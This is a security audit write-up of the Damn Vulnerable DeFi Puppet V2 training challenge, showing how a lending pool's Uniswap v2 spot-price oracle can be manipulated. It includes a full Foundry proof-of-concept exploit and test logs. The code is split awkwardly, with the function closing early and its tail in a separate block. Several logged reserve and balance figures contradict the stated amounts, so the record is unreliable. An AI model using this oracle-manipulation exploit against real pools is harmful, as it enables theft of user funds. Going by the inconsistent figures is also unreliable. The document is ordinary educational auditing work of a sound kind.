

Damn Vulnerable DeFi, Puppet V2 Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: July 10, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, Puppet V2 Security Review
2. Table of contents
3. About Me
4. Disclaimer
5. Risk Classification
6. Audit Details
7. Scope
8. Protocol Summary
9. Roles
10. Executive Summary
11. Issues found
12. Findings

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Puppet V2 challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is July 10, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/puppet-v2/  
  PuppetV2Pool.sol  
  UniswapV2Library.sol
```

Protocol Summary

Puppet V2 is a small lending pool. You can borrow Damn Valuable Tokens (DVT) from the pool if you first leave three times their value in WETH as collateral.

This is the second try after the first Puppet challenge. The team learned that the old price source was weak, so they moved to a Uniswap v2 pair and used the official Uniswap library. The idea is that this is safer. It is not, because the pool still reads a spot price.

To find the value of DVT the pool asks the Uniswap v2 pair how much WETH and how much DVT sit inside it right now, and turns that into a price with the library `quote` function. This is a spot price, the price at that exact block, with no average and no safety check.

`UniswapV2Library.sol` is the helper the pool uses to read the reserves and do the ratio math. In the test the pool holds 1000000 DVT. The Uniswap pair starts with 100 DVT and 10 WETH, so one DVT is worth about 0.1 WETH. The player starts with 20 ETH and 10000 DVT. The goal is to take all tokens out of the pool and send them to a recovery account.

Roles

There are two roles. The deployer sets up the pool and points it at the DVT token, the WETH token, the Uniswap pair and the factory. The player is a normal user with 20 ETH and 10000 DVT who must drain the pool. There is no admin key on the price. Anyone who can trade on Uniswap can move the price the pool reads.

Executive Summary

The pool trusts a price it does not control. The price comes from one small Uniswap v2 pair, and it is read at the current block with no averaging and no safety check. Anyone is allowed to trade on that pair, so anyone can move the price.

The player holds 10000 DVT while the pair only holds 100 DVT. By dumping the 10000 DVT into the pair, the price of DVT drops to almost nothing. The deposit for all 1000000 DVT falls from 300000 WETH to about 29.5 WETH. The player pays that small deposit, borrows every token, and sends them to recovery. This is a classic price oracle manipulation, the same lesson as Puppet V1 but with a Uniswap v2 pair.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	0
Informational	1
Total	2

ID	Title	Severity
[H-1]	Spot price from a small Uniswap v2 pair lets an attacker drain the whole pool	High
[I-1]	Return value of the WETH transferFrom is not checked	Informational

Findings

High

[H-1] Spot price from a small Uniswap v2 pair lets an attacker drain the whole pool

Description:

The pool decides how much WETH a borrower must deposit from a price, and that price is read straight from one Uniswap v2 pair at the current moment.

```
// src/puppet-v2/PuppetV2Pool.sol:50-61
function calculateDepositOfWETHRequired(uint256 tokenAmount)
public view returns (uint256) {
    uint256 depositFactor = 3;
    return _getOracleQuote(tokenAmount) * depositFactor / 1 ether;
}

function _getOracleQuote(uint256 amount) private view returns
(uint256) {
    (uint256 reservesWETH, uint256 reservesToken) =
        UniswapV2Library.getReserves({factory: _uniswapFactory,
tokenA: address(_weth), tokenB: address(_token)});

    return UniswapV2Library.quote({amountA: amount * 10 ** 18,
reserveA: reservesToken, reserveB: reservesWETH});
}
```

The team moved from Uniswap v1 to Uniswap v2 and used the official library, but they still picked the wrong tool. `quote()` is only simple ratio math, $\text{amountB} = \text{amountA} * \text{reserveWETH} / \text{reservesToken}$. It gives the value at the exact block it runs in. It is not a safe oracle. There is no time average, no TWAP, and no check that the price looks normal. So the whole price is just the live pair balance, and anyone is allowed to trade on that pair and move it.

The pair is tiny. It starts with 100 DVT and 10 WETH. The player holds 10000 DVT, which is 100 times the DVT in the pair. When the player dumps all 10000 DVT into the pair, the pair fills with DVT and empties of WETH, so the price of DVT falls close to zero.

Impact:

Likelihood High. The pair is open to everyone and the player already holds far more DVT than the pair does.

Risk High. The full pool balance, 1000000 DVT, is taken.

Proof of Concept:

The whole attack fits in one flow. The player dumps every DVT into the pair to crash the price, wraps the 20 ETH into WETH, then borrows all pool tokens for a cheap deposit and sends them to recovery. Note the dump also hands the player about 9.9 WETH back, so the 20 ETH plus that swap output is enough to cover the deposit.

```
function test_puppetV2Exploit() public {
    vm.startPrank(player, player);

    console.log("BEFORE ATTACK");
    console.log("uniswap DVT reserve :",
token.balanceOf(address(uniswapV2Exchange)));
    console.log("uniswap WETH reserve:",
weth.balanceOf(address(uniswapV2Exchange)));
    console.log("deposit for all DVT :",
lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE));
    console.log("player ETH          :", player.balance);
    console.log("player DVT          :", token.balanceOf(player));
    console.log("pool DVT           :",
token.balanceOf(address(lendingPool)));

    // 1. dump all player DVT into uniswap to crash the DVT price
    address[] memory path = new address[](2);
    path[0] = address(token);
    path[1] = address(weth);
    token.approve(address(uniswapV2Router),
PLAYER_INITIAL_TOKEN_BALANCE);
    uniswapV2Router.swapExactTokensForTokens({
        amountIn: PLAYER_INITIAL_TOKEN_BALANCE,
        amountOutMin: 0,
        path: path,
        to: player,
        deadline: block.timestamp
    });

    // 2. the required deposit is now tiny; wrap ETH to pay it
    uint256 deposit =
lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
    weth.deposit{value: player.balance}();

    console.log("AFTER DUMP");
    console.log("uniswap DVT reserve :",
token.balanceOf(address(uniswapV2Exchange)));
    console.log("uniswap WETH reserve:",
weth.balanceOf(address(uniswapV2Exchange)));
    console.log("deposit for all DVT :", deposit);
    console.log("player WETH          :", weth.balanceOf(player));

    // 3. borrow every token from the pool and send to recovery
    weth.approve(address(lendingPool), deposit);
    lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
    token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
}
```

```

        vm.stopPrank();

        console.log("AFTER ATTACK");
        console.log("pool DVT          :",
token.balanceOf(address(lendingPool)));
        console.log("recovery DVT      :",
token.balanceOf(recovery));

        assertEq(token.balanceOf(address(lendingPool)), 0, "pool still
has tokens");
        assertEq(token.balanceOf(recovery),
POOL_INITIAL_TOKEN_BALANCE, "recovery did not get all tokens");
    }

```

Run `forge test --match-path test/puppet-v2/PuppetV2PoC.t.sol -vv:`

Ran 1 test for test/puppet-v2/PuppetV2PoC.t.sol:PuppetV2PoC
[PASS] test_puppetV2Exploit() (gas: 249234)

Logs:

```

BEFORE ATTACK
uniswap DVT reserve : 1000000000000000000000
uniswap WETH reserve: 1000000000000000000000
deposit for all DVT : 300000000000000000000000
player ETH          : 200000000000000000000000
player DVT          : 100000000000000000000000
pool DVT            : 100000000000000000000000
AFTER DUMP
uniswap DVT reserve : 101000000000000000000000
uniswap WETH reserve: 99304865938430984
deposit for all DVT : 29496494833197321980
player WETH          : 29900695134061569016
AFTER ATTACK
pool DVT              : 0
recovery DVT          : 100000000000000000000000

```

Suite result: ok. 1 passed; 0 failed; 0 skipped

Before the attack, borrowing all 1000000 DVT needs 300000 WETH. After the dump the deposit falls to about 29.5 WETH. The player holds about 29.9 WETH, which is 20 ETH wrapped plus the roughly 9.9 WETH the swap paid out, so the deposit is easy to cover. The pool goes from 1000000 DVT to 0, and recovery ends with all of it.

Recommended Mitigation:

Do not depend on a spot price from one small pair.

- 1 Read from a proven price source like a Chainlink feed instead of one Uniswap pair.
- 2 Use a time weighted average price (TWAP) from the pair, so a one transaction swing can not move the price.
- 3 Cross check more than one source and reject a price that jumps too far from the last one.
- 4 Only trust deep and liquid markets where moving the price costs a lot.

Informational

[I-1] Return value of the WETH transferFrom is not checked

Description:

In `borrow()` the pool checks the return value of the token transfer but ignores the return value of the WETH pull.

```
// src/puppet-v2/PuppetV2Pool.sol:40-45
_weth.transferFrom(msg.sender, address(this), amount);

deposits[msg.sender] += amount;

require(_token.transfer(msg.sender, borrowAmount), "Transfer
failed");
```

A standard WETH reverts on failure, so this is safe today. But the code is not consistent, and if the WETH address is ever pointed at a token that returns false instead of reverting, the pool would record a deposit and hand out tokens without really receiving the WETH.

Impact:

Likelihood Low. Standard WETH reverts on a failed transfer. Risk Informational.

Proof of Concept:

N/A

Recommended Mitigation:

Check the return value the same way as the token transfer, or use a safe transfer helper.

```
- _weth.transferFrom(msg.sender, address(this), amount);
+ require(_weth.transferFrom(msg.sender, address(this), amount),
    "WETH transfer failed");
```